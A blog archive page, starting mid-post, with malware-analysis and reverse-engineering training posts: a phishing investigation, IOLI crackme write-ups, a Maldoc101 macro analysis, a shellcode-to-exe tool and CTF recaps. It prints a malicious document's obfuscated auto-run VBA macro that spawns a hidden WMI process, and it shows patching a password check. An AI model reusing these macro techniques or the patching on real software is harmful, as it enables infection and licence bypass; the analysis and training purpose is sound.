I was tempted to make a dummy Facebook account and send the login details to the phishing site. The idea was to see how long before an account gets accessed after submitting the credentials and if the tagging of friends is automated or done manually. But sadly I ran out of free time and by the time I came back to it the login page was already completely offline. The landing page is still up though.

This investigation has taught me a lot about phishing sites. It's different from investigating malware but it's easy to see the similarities in intent and approaches. I might try investigating more in the future. I'm curious to find out what the usual modus operandi is and also how the general populace can better protect themselves from it.

This particular site may be down now, but I bet there will be more in the future. As long as there are people to fall for scams like these, this type of attack will continue.

If you want to know more or discuss the details about the phishing site, I would be happy to exchange notes. Drop me a line on Twitter @accidentalrebel.

This investigation led to a more alarming follow-up: Finding Phished Passwords on a Scam Site, where I found publicly accessible victim credentials.

The Emprisa Maldoc Challenge

2021-04-04T16:37:00+08:00

I was inspired to make my own CTF challenge after finishing Maldoc101 found at Cyberdefenders.org. The challenge I made is called Emprisa Maldoc and it is now up on their website.

Emprisa is based on a malicious document that I downloaded blindly from a malware sandbox. It used a relatively old but still interesting exploit that is still in use today. After researching more about it I came across a tool that can generate a malicious doc using the same exact exploit. This is when I got the idea to turn it into a challenge.

The challenge has 14 questions with increasing and varying difficulty. The challenge is targeted towards intermediate analysts who already have experience examining maldocs before. The goal is to reinforce the use of common malware analysis tools, but at the same time, teach players new things and techniques. It involves flexing muscles related to open source intelligence, examining shellcodes, and debugging processes.

I don't want to spoil too much but if you are for it, you can give it a go here. It was hella fun to make and I do hope that it is also as fun to solve!

Official write-up: Emprisa Maldoc Writeup.

I would like to extend my thanks to the team behind CyberDefenders.org. They accepted my submission, reviewed it, and worked with me in improving it. And also to Josh Stroschein for making Maldoc101 and being kind enough to entertain me with my questions related to making challenges.

IOLI Crackme 0x03

2021-03-22T20:03:00+08:00

Getting the password

After opening the program in IDA I immediately saw that the code is almost exactly as the one in challenge 0x02, with the exception of our expected cmp command being inside the _test function.

Reading through the code I realized that the password for this challenge is exactly the same as the previous one!

But what's this? The success and failure messages are all garbled? And plus, what is this other new function called _shift?

A different kind of challenge

Opening up the _shift function shows us a short, but interesting looking program flow with two branches and one of the branches looping back. It seems we have a loop here that we could investigate.

If we look at the input that the function takes we will find out that the strings that are being passed from the _test function are Lqydolg#Sdvvzrug$ and Sdvvzrug#RN$$$#=, for the failure and success messages, respectively. This tells us that a cipher is applied to these strings. What cipher it is using is what we'll be trying to find out.

Discovering the cipher

The best way to discover the cipher used is to step through the code. We can do it with both static or dynamic analysis, but the latter is way easier.

The code above starts with mov eax, [ebp+arg_0] which copies the pointer to the string passed to our _shift function. We then copy that pointer to [esp+98h+Str] which is the memory location pointing to the top of the current stack. This is done so that it can be passed as an argument when we do call _strlen.

After executing, _strlen returns the length of the specified string and is saved to register eax. This is then used in the line cmp [ebp+var_7C], eax.

But what is the value of var_7C? If you scroll up at the start of the subroutine, var_7C is assigned a value of zero. If you know how loops work, you'll realize that this variable is going to be used to hold a counter value. It starts at a value of 0 and it will eventually be incremented after every loop, which is what is happening at 401348.

To make it easy for us to remember this, let's rename var_7C to a more memorable name like var_counter.

So going back, to the comparison command cmp [ebp+var_counter], eax, which now translates to cmp 0, 17. 17 being the length of our failure string Lqydolg#Sdvvzrug$. Since this is not equal it now goes to this next block of code.

Now this block is interesting. There's a lot that is happening but the gist of it is that the program gets one character from the input string, with var_counter as an offset. It then decrements that character value by 3, and added to a destination string. I'll be going through the code that I described step by step in the next section.

Stepping through

So to start, lea eax, [ebp+var_78] loads the address to var_78 which in my case points to the address 28FE90.

mov edx, eax copies that address to edx so we can use it on the next line.

add edx, [ebp+var_counter] adds to the address of var_78. Because var_counter is still 0, the address remains at 28FE90.

add eax, [ebp+arg_0] does the same thing as above but this time adding to [arg_0] which contains the address 28FF10.

movzx eax, byte ptr [eax] copies the byte contained in [eax] or 28FF10. In this case that byte contains the value 4Ch or L in ASCII. This is the first letter in our failure string Lqydolg#Sdvvzrug$!

sub al, 3 then substracts 3 to 4Ch making it 49h which is ASCII for I.

mov [edx], al saves the new character to the variable var_78 which is the memory location 28FE90. At this point in time the content is currently the character I. To make it easy for us to understand the code, let's rename var_78 to var_dest. This name is apt because this will be the destination for our shifted ASCII characters.

lea eax, [ebp+var_counter] and then inc dword ptr [eax] now increments the value of var_counter, which now makes it an integer value of 1.

Looping back

Alright. Now we go back up again to loc_401320. I'm not going to step through each line again, but I will highlight the important parts now that we have looped back.

cmp [ebp+var_counter] now translates to cmp 1, 17, which is still not equal.

add edx, [ebp+var_counter] now adds 1 to our var_dest variable, turning 28FE90 to 28FE91. The address for the arg_0 variable is also added by 1 at add eax, [ebp+arg_0].

By the time movzx eax, byte ptr [eax] is executed it now gets the next character in our failure string which is 71h or the letter q.

sub al, 3 converts are letter q to the letter n. And is once again saved to our var_dest variable with the command mov [edx], al.

Repeat until...

If I haven't lost you, then you should now be able to follow what will happen in the next steps:

var_counter will get incremented again and again, which will point to the next characters in the string. For example, the next characters: y then d then o will get shifted to v then a then l, respectively. This shifting of each characters will continue until cmp [ebp+var_counter equates to cmp 17, 17.

By the end, var_dest now contains the newly shifted string Invalid Password!. Finally! Applying the same code above to the success message, the garbled message would end with Password OK!!! :).

Wasn't that fun?

On to the next challenge

I hope I was able to explain properly the simple shifting algorithm used by the program above. I did it this way mostly for my own benefit and to make sure I really did understand how the algorithm worked in assembly. In future writeups I'll refrain from stepping through code at such a granular level, unless there is something really important that warrants it. Or maybe a video would be a much better format for these kinds of challenges?

Anyway, I look forward to the next challenge. Hopefully, you are too!

Maldoc101 Writeup (Part 2)

2021-03-14T08:34:00+08:00

This is part 2 of my writeup for the Maldoc101 challenge. Check out part 1 for the beginning of the analysis.

The next couple of lines does the same concatenating technique similar to the previous steps.

deaknaugthein = roubhaol.kaizseah.ControlTipText
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
queegthaen = giakfeiw + roubhaol.joefwoefcheaw

At the end of the code above queegthaen now contains the value Win32_Process + s + tar + tu + P. Or when combined creates the string Win32_ProcessstartuP which probably refers to this WMI class in the Microsoft docs.

Note: This writeup appears to be incomplete. For the complete analysis, please refer to part 1 of this series.

Maldoc101 Writeup (Part 1)

2021-03-13T08:34:00+08:00

This is part 1 out of 2 of my writeup for the Maldoc101 challenge made by Josh Stroschein (@jstrosch) and is currently playable at Cyberdefenders.Org. I've done some maldoc analysis before but this is the first time I'm writing about my approach.

There is also an already existing writeup about this challenge from the creator himself. You should check that out if you want a more detailed and focused writeup. This writeup is more from the perspective of someone relatively new to malware analysis. There's a lot more exploration and trial-and-error which, I hope, might give the reader a different view in how this kind of problem is approached.

The challenge

Name

MalDoc101 - Malicious Document

Description

It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.

Suggested Tools

REMnux Virtual Machine (remnux.org)
Terminal/Command prompt w/ Python installed
Oledump
Text editor

The easy questions

The first question seems very easy. The suggested tools section above also gives us an idea how to approach this.

What streams contain macros in this document? (comma-separated, ascending).

oledump.py is a tool made by Didier Stevens that allows the analysis of data streams found in OLE files such as MS Office documetns. Running the command below would show us which streams have macros in it. These are denoted with the character M.

$ oledump.py sample.bin
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      7119 '1Table'
  5:    101483 'Data'
  6:       581 'Macros/PROJECT'
  7:       119 'Macros/PROJECTwm'
  8:     12997 'Macros/VBA/_VBA_PROJECT'
  9:      2112 'Macros/VBA/__SRP_0'
 10:       190 'Macros/VBA/__SRP_1'
 11:       532 'Macros/VBA/__SRP_2'
 12:       156 'Macros/VBA/__SRP_3'
 13: M    1367 'Macros/VBA/diakzouxchouz'
 14:       908 'Macros/VBA/dir'
 15: M    5705 'Macros/VBA/govwiahtoozfaid'
 16: m    1187 'Macros/VBA/roubhaol'
 17:        97 'Macros/roubhaol/\x01CompObj'
 ...

I later noticed that there is an upper-case and lower-case M. I learned that the upper-case M denotes a macro with a code. The lower-case denotes a user form. This is a distinction that will be important later in this challenge.

What command-line argument with Oledump do you use to view the raw content of a stream? (Do not include the leading dash)

The next question is another easy one which ran easily be solved through oledump.py's --help parameter.

$ oledump.py --help
Usage: oledump.py [options] [file]
Analyze OLE files (Compound Binary Files)

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -m, --man             Print manual
  -s SELECT, --select=SELECT
                        select item nr for dumping (a for all)
  -d, --dump            perform dump
  -x, --hexdump         perform hex dump
  -a, --asciidump       perform ascii dump
  -A, --asciidumprle    perform ascii dump with RLE
  -S, --strings         perform strings dump
  -T, --headtail        do head & tail
  -v, --vbadecompress   VBA decompression
  ...

The answer to question number two is easy to spot.

What event is used to begin the execution of the macros?

I used a different tool for this particular question mostly because I knew that it already shows the information I need to answer the question. The tool is called olevba which is part of the oletools package of Python tools. Olevba is used for extracting and analyzing VBA macro source code for MS Office documents.

$ olevba sample.bin
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Create              |May execute file or a system command through |
|          |                    |WMI                                          |
|Suspicious|showwindow          |May hide the application                     |
|Suspicious|CreateObject        |May create an OLE object                     |
...

Onto the main event

What malware family was this maldoc attempting to drop?

I figured that the way for me to determine the answer for the question above is to start investigating the macro codes included in the document.

I knew from the previous question that the entry point to begin the execution of the macros is with the function Document_open(). The next step is to look for this entry point and go through the code to understand what the macro is doing.

To view the contents of a stream, I used the command below:

$ oledump.py sample.bin -s 13 -v
Attribute VB_Name = "diakzouxchouz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
boaxvoebxiotqueb
End Sub

In the above output, I saw that Document_open() contains a single line of code which is a call to function boaxvoebxiotqueb'. This function is included in stream 15 which can be viewed with the command:

$ oledump.py sample.bin -s 13 -v
Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
Dim c7�ATOQe2�j As Integer
c7�ATOQe2�j = 6
Do While c7�ATOQe2�j < 6 + 2
c7�ATOQe2�j = c7�ATOQe2�j + 5: DoEvents
Loop
haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
...

The above output contains more lines of what looks like gibberish code. Upon further inspection I realized that it's actually obfuscated. I can see common coding patterns which tells me that I could make sense of the code if I step through it and organize it so it is easy to understand.

The first line of the boaxvoebxiotqueb shows:

gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))

What's roubhaol? Since this is the first line in the function, I know that it is not a locally defined variable. It must be declared somplace else.

After looking around I learned that roubhaol is a the name of the user form at stream 16.

16: m    1187 'Macros/VBA/roubhaol'

So the next step is figuring out what roubhaol.Zoom's value is. This value is not set anywhere in any of the macros by code. This means that the value is set in the form itself. To confirm, I opened up the Word document, pressed Alt+F11 to open up the Visual Basic editor and then opened the roubhaol form. At the bottom we see that the value of Zoom is set to 100.

This means that by simulating the first line of code again we find that the variable gooykadheoj gets the character value of s.

gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
gooykadheoj = Chr(100 + Int(5 * 3))
gooykadheoj = Chr(115)
gooykadheoj = Chr(115) # character "s"

I then proceeded to go through the next set of lines.

Dim c7�ATOQe2�j As Integer
c7�ATOQe2�j = 6
Do While c7�ATOQe2�j < 6 + 2
c7�ATOQe2�j = c7�ATOQe2�j + 5: DoEvents
Loop

This one is easier to simulate. c7�ATOQe2�j is assigend 6. And then there's a loop that adds 5 that eventually results to the value of 16.

But wait, something is fishy here. The variable c7�ATOQe2�j is not found anywhere else after the block of code above. This tells us that this is just junk code that does not really do anything aside from waste an analyst's time! Sneaky sneaky.

To save me the time I proceeded to remove all junk code. I did this by going through each variables and seeing if they are used somewhere useful. If not, then they are safe to remove.

Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
    gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))

    haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)

    deaknaugthein = roubhaol.kaizseah.ControlTipText
    giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
    queegthaen = giakfeiw + roubhaol.joefwoefcheaw

    Set deavjoajsear = luumlaud(queegthaen)

    xve = Array _
        ("1234444123", tiajriokchaoy. _
        Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
End Function

Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function

Function geulgelquuuj()
    sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
    geulgelquuuj = juuvzouchmiopxeox(sjiqw)
End Function

Function luumlaud(zeolkaepxoag)
    Set luumlaud = CreateObject(zeolkaepxoag)
    Dim vPu As String
    vPu = Replace$("BenqV1�igVwifwdQq", "BenqV1�i", "on5�")
        luumlaud _
        . _
        showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
End Function

As you can see above, the code is shorter. It's also a little easier to understand. Only a little though, we still need to step through the code carefully to have a better grasp of what it is doing.

Let's take on the next line:

haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

If we look at the string carefully we would notice that a set of strings is concatenated with two variables. These variables are gooykadheoj and roubhaol.joefwoefcheaw. We already know the value of gooykadheoj. So what's the value of roubhaol.joefwoefcheaw?

I got this value by going back to Visual Basic Editor and selelecting joefwoefcheaw. The value we need is listed under Text.

Substituting the values s and P I got the following:

haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fqP2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"

It still doesn't clear up the gibberish, but at least it's now one big string. This same string is then passed as a parameter to function juuvzouchmiopxeox.

deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

Let's look at the code inside juuvzouchmiopxeox.

Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function

Following the code we could see that the passed string is splitted using the call to the function Split with the substring 2342772g3&*gs7712ffvs626fq. This simply means that the substring is removed from the input string. The result of Split is then joined into one string using Join. There are the variables csqw and eihnx, they don't alter the string as these variables are empty.

At the end of this function the value of the passed string is now:

winmgmts:win32_Process

Aha! Something that is not gibberish for a change!

Going back to the caller function, the result of juuvzouchmiopxeox is saved to deulsaocthuul.

    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)

After that an object is created out of deaulsaocthuul, which we know contains winmgmts:win32_Process.

Looking at the microsoft docs I find out that The Win32_Process WMI class represents a process on an operating system.. Interesting.

Taking a step back

At this point there are already a number of questions that we could answer based on what we've done so far. Some are not yet answerable at the moment, however, so nothing left to do but to push forward. But that will be for the next part of this two part series.

Until then, I'm taking a step back as I marvel at my progress. It wouldn't take long until all the pieces would fall into place.

For the next part of this writeup, see Maldoc101 Writeup Part 2.

If you enjoyed this, see the Emprisa Maldoc challenge I created on CyberDefenders, directly inspired by Maldoc101.

IOLI Crackme 0x02

2021-03-06T10:34:00+08:00

Getting the password

After the first two challenges I kinda know what to expect already so I skipped running the program and immediately loaded it in IDA.

So the lines leading to the comparison command now looks more complicated than before. We could easily see that there are some computations that happens thanks to the presence of add and imul. Before those, we have two values (5Ah and 1ECh) which we can easily guess are the values that will be worked on by these arithmetic functions.

So going through the lines sequentially we can see that the two numbers are first added with add [eax], edx. Which results in a value of 246h.

After that we see the line imul eax, [ebp+var_8], which if you follow the sequence closely effectively multiplies 246h by itself, resulting in a value of 52B24h.

Convert 52B24h to decimal equates to 338724, which is unsprisingly the password that we need.

Confirming via dynamic analysis

What we did above is that we used static analysis to inspect the program line by line to determine the final computed password value. Let's use dynamic analysis and step through the code to see how our data is manipulated in memory during this process.

Let's set a breakpoint immediately after the initial two values are loaded into memory.

If we look at the memory locations we would see the following:

epb+var_8 points to 28FF40 which now contains 5Ah

ebp+var_C points to 28FF3C which now contains 1ECh

Stepping through the code and checking the memory location after add [eax], edx shows that the result 246h is saved at memory location 28FF40.

Then after imul eax, [ebp+var_8] we see that eax now holds the value of 52B24h, confirming the final computed value that we had from our static analysis.

Patching the executables

Patching the executable is actually the same process as my writeup for 0x00.

On to the next challenge...

While the challenge is still easy, we can see that the complexity is slowly ramping up from previous challenges. We also took the time to confirm the result of our static analysis by debugging and stepping through the code. This is a good practice for me to familiarize myself with IDA, which I hope I could use in future challenges.

Introducing shcode2exe

2021-02-26T07:34:00+08:00

[Edit: shcode2exe is now part of Remnux]

I've been playing around with Remnux and encountered a problem trying to get one of the tools to run properly. The tool is shellcode2exe, it is used to compile binary shellcode to a file so it can easily be debugged by a debugger.

When I checked out the code, I was surprised to find out how simple it is. Basically, what happens is that the inputted shellcode is added to a barebones assembly file using the incbin assembly instruction. From there, the file is then automatically compiled and linked.

One big problem with the tool is that it needs to use Wine if it needs to run on Linux. I don't want such a huge dependency especially for my own malware analysis lab so I decided to write my own version which have led to the creation of shcode2exe.

shcode2exe

While similar in functionality with the original tool, the biggest improvement I made is that it it does not depend on Wine along with other features as listed below:

Can accept a shellcode blob or string (String format \x5e\x31)
Can target both 32bit or 64bit Windows architecture.
Cross platform. Works on Linux or Windows.
No dependency on Wine when running on Linux
Tested working with Python v3.3 and above
Tested working on Windows 7 (Non SP1) and above

Usage

Here's the help message for the tool:

usage: shcode2exe.py [-h] [-o OUTPUT] [-s] [-a {32,64}] input

Compile a binary shellcode blob into an exe file. Can target both 32bit or 64bit architecture.

positional arguments:
  input                 The input file containing the shellcode.

optional arguments:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        Set output exe file.
  -s, --string          Set if input file contains shellcode in string format.
  -a {32,64}, --architecture {32,64}
                        The windows architecture to use

Here's how to load a file with shellcode in the format of a string

$ cat test.txt
\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80
$ ./shcode2exe.py -s -o test-string.exe test.bin

Load a file with shellcode in the format of a blob

$ ./shcode2exe.py -o test-blob.exe test.bin

Use 64 bit architecture for the output (32 bit is the default)

$ ./shcode2exe.py -o test-blob.exe -a 64 test.bin
$ file test-blob.exe
test-blob.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

Next steps

I decided to reach out to the people behind Remnux to ask if they could consider my tool as a replacement on their platform. It would be great if they would, but it's okay too if they don't, I made it for my own use anyway. (Update 2021-02-07: It's now under review)

For more information about the tool and it's code, go to it's Github page. If you have any comments or suggestions on how to improve it, feel free to tell me via Github issues or dm me at @accidentalrebel.

Tools like shcode2exe are useful for the shellcode analysis workflow shown in the Emprisa Maldoc Writeup.

IOLI Crackme 0x01

2021-02-20T17:34:00+08:00

Getting the password

Of course, the first thing we do is run the program.

Just like last time, we opened up the program in IDA and focused on the part of the code that does the comparing of passwords.

cmp [ebp+var_4], 149Ah
jz short loc_40137c

This seems easy enough.

Initially I entered 149A as the password but this turned out to be incorrect. The reason for this is because scanf was passed a format of "%d".

mov [esp+18h+Format], offset aD ; "%d"
call _scanf

This means that the input it expects is actually a decimal integer. So converting 149A to decimal results in 5274, which is the correct password.

Patching the executables

Patching the executable is actually the same process as my writeup for 0x00.

Passing arguments to functions

Since the crackme was cracked relatively quickly I want to review and highlight how arguments are passed to functions.

The format of the scanf function in C is like so:

int scanf ( const char * format, ... );

Here's an example of how it is used:

int i;
scanf ("%d",&i);

If we look at the 0x01 program we could see how the arguments are passed to the _scanf function by placing the data to send on top of the stack.

lea eax, [ebp+var_4]
mov [esp+18h+var_14], eax
mov [esp+18h+Format], offset aD;  "%d"
call _scanf

lea eax, [ebp+var_4] gets the address of var_4, this is the memory location where scanf would put the inputted data. This is then added to the stack with mov [esp+18h+var_14].

offset aD gets the address of aD which contains the string "%d". This is the format parameter that scanf expects. This is then added to the stack with mov [esp+18h+Format].

With the two parameters added to the stack, it can now be used by the scanf function when call _scanf is executed.

I'm not sure if I was able to explain that properly. At the very least, you should have been able to have a basic idea of how variables are passed to functions. Take note, however, that there are other calling conventions for functions which meants that the passing of arguments can also differ.

On to the next challenge...

This is the second challenge out of 10 in the IOLI series of challenges. So far the challenges are still very easy, which is fine because it's still good for practice. I look forward to the next one.

IOLI Crackme 0x00

2021-02-16T21:55:00+08:00

I am re-familiarizing myself with reverse engineering again by going through some simple crackme challenges. This one is called the IOLI Crackmes by pof. The goal is to find the correct password and also to patch it so that it can accept any input and still show that it's correct.

Getting the password

Running the program shows a password prompt.

Of course, randomly entering passwords is going to be a waste of time so I opened up IDA to look at its code.

I knew that whatever password I enter in the program would be checked against the actual password. This is the part of the program that I should focus on so I scanned the code and found this:

mov [esp+38h+Str2], offset Str2; "250382"
mov [esp+38h+Format], eax; 
call _strcmp

And just from these few lines alone I already knew what the password is. IDA Pro was helpful enough to add a comment that offset Str2 equates to 250382. Surely enough, this number was the password.

Patching the executable

The next part of the challenge is to patch the executable so that it can accept any input and would still allow us through.

Looking at the graph view, we want the program to always go to the node on the right which has the "Password OK" message.

The line that we could change to allow us to do this would be this one:

jz short loc_40138A

The jz can be changed to a jmp command by changing the op code. Opening up the "Patch Bytes" window while the line is highlighted would show us this:

74 0E C7 04 24 2E 40 40 00 E8 A8 19 00 00 EB 0C

The opcode related to jz short loc_40138A is the first two btyes 74 0E. 74 is the "Jump short if equal" opcode and 0E is the relative jump distance. Changing 74 to EB converts it to the "Jump" opcode effectively making the line jmp short loc_40138A.

After saving, IDA will automatically upgrade the graph. It will now show us that the flow of the program now jumps to the right node directly.

All that is left to do is to patch the executable via "Edit > Patch Program > Apply patches to input file..." and run the program. From here, any entered password would automatically get accepted.

On to the next challenge...

This is the first out of the 10 challenges from this set. Since this is the first one, it is only natural for it to be very easy. It's still a good refresher for me especially since the last time I did any reversing was from a few years ago. I look forward to the next challenges, I do hope that they would ramp up in difficulty and also teach me new things for me to improve.

Continue to IOLI Crackme 0x01 where we tackle hex-to-decimal conversion.

Hunt the Kingdom CTF Challenge

2020-10-05T11:13:00+08:00

TLDR: Participated in a blue team CTF, had a lot of fun, looking forward for more

Yesterday I participated in the GuideM "Hunt the Kingdom" CTF challenge. It served as the final activity at the end of the "Cyber Defense and Threat Hunting" course.

I was looking forward to this CTF, especially after my awesome experience with the Red Team Village CTF at Defcon. This one is centered on the Blue Team side, and I was curious as to how it will play out.

The Preparation

I took one whole day to study and prepare. I went through all our slides and have written down the important concepts and commands to an org file. This is important because I wanted them to be easily searchable, which helped a lot during the challenge.

I also did research about the Hunt the Kingdom challenge itself. There weren't much information online about it but there were some social media posts that contained screenshots on how the challenge looked like. These gave me a lot of information on what to expect.

It's OSINT in practice :P

For example, with the screenshot above I learned how the UI looked like, that there were categories that we could switch to, leaderboards, how a question is structured, and that "areas" on the map can get added, enabled, and disabled during the game. The last part is particularly important as it means that not all questions are available from the start and some can get disabled during the game.

Thanks to the above research I felt confident that I could hit the ground running as soon as the game started. I picked my name (AccidentalRebel, of course) and my emblem and I was ready for the hunt.

Yes, that's the blue tank from Advance Wars, because I'm part of the "blue team".

The Hunt

When the hunt started my approach was to focus on the easy problems first. Getting them out of the way early would allow me to rack up points and just focus on the hard ones afterwards. This did the trick and I was able to maintain an early lead.

During the mid-game my computer hanged from all the switching between VMs (There were 3 VMs that we needed to use to solve the problems). Note to self: get a beefier PC. I got a bit frustrated by this but decided that instead of waiting for Windows to boot I could use the time to take a break and got lunch.

I came back to the game all full and refreshed, but sadly, I have already lost my lead. I felt a bit disappointed by this but I continued to push through. I removed the leaderboards to minimize distractions which helped. No need to pressure myself, I told myself. Although, I admit that I did peek from time to time.

With the renewed focus I was able to keep my standing in the top 3. The leader of the pack during the end-game was BoyHack3r, a worthy opponent who was always a few points ahead of me.

There was one question that has a lot of points that only has one solve. I knew that if I could get that it would give me enough points to snatch back 1st place. It wasn't an easy problem though so I changed my approach by slowing down which helped me understand the questions better. A few minutes later I was back at first place.

I've never done a celebratory fist pump before, this was the first time.

The Final Minutes

I was able to maintain first place position by continuously answering questions until I was left with just four questions. These four are problems that no one has solved yet. The activity on the leaderboards have lessened which I took to mean that the others were stuck like me. I was at 13740 points, BoyHack3r at 13590, and Overwatch at 13460. If any of them managed to solve just one out of these four problems then they'll easily overtake me.

I wasn't going to let that happen though. At 5 minutes left I continued solving the one that I had the most progress with. But it wasn't enough and I ran out of time. The others didn't get their lucky break either which finally cemented the scores on the boards.

After 6 hours of back-breaking hunting I was finally able to breathe a sigh of relief.

The End

I rarely engage in any competitive activity so my competitive side rarely comes out. This CTF definitely brought it out and gave me the push to take the challenge seriously. I didn't do it for the prizes though. I did it because I wanted to prove to myself that I have what it takes, especially since I don't have a formal background in CyberSecurity. While a CTF is not an accurate qualification of being part of a blue team, it does show a participant's ability to work and solve problems under pressure.

I want to give a shoutout to GuideM for guiding us throughout the course and for the extremely fun CTF challenge. Also to BoyHack3r, Overwatch, and :] for making me sweat bullets.

This is another big step for me into the world of cybersecurity and I do hope I could learn more and improve. I look forward to the next CTF!

If you enjoy blue team challenges, see my detailed walkthrough of the Cyber Corp Case 2 threat hunting challenge.

My experience with manufacturing printed circuit boards

2020-10-01T07:19:00+08:00

